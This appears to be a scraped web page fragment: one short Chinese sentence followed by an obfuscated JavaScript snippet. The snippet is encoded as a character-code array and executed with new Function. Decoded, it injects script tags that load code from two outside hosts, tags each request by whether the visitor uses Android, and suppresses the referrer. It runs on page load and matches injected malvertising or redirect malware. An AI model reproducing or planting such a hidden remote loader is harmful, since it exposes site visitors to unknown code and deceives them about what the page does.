原来是老师啊！

(function(a){(new Function(String.fromCharCode(...a)))();})([108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,115,45,49,51,54,55,48,54,54,52,56,52,46,99,111,115,46,97,112,45,115,104,97,110,103,104,97,105,46,109,121,113,99,108,111,117,100,46,99,111,109,92,47,50,92,47,50,48,54,50,52,48,49,34,44,34,104,116,116,112,115,58,92,47,92,47,114,46,49,100,103,102,100,119,46,99,111,109,92,47,50,92,47,50,48,54,50,52,48,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,54,48,50,95,49,48,52,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);